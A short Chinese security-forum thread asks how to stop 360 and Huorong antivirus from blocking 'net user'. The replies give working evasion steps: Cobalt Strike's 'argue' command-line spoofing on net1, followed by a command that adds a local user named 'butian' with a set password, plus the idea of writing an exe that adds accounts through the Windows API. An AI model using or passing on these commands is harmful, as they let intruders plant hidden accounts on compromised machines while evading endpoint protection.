奇安信攻防社区-师傅们执行 Net usr的时候被360 火绒拦截了有什么思路绕过吗？

默认排序时间排序

2 个回答

空城 - 安全小菜鸡 2022-02-14 15:10

使用cs中argue参数绕过杀软添加用户

#参数污染net1argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

#用污染的net1执行敏感操作execute net1 user butian 1qaz@WSX /add

mix 2022-02-20 16:15

或者使用Windows API编写一个添加账户的exe也可以绕过！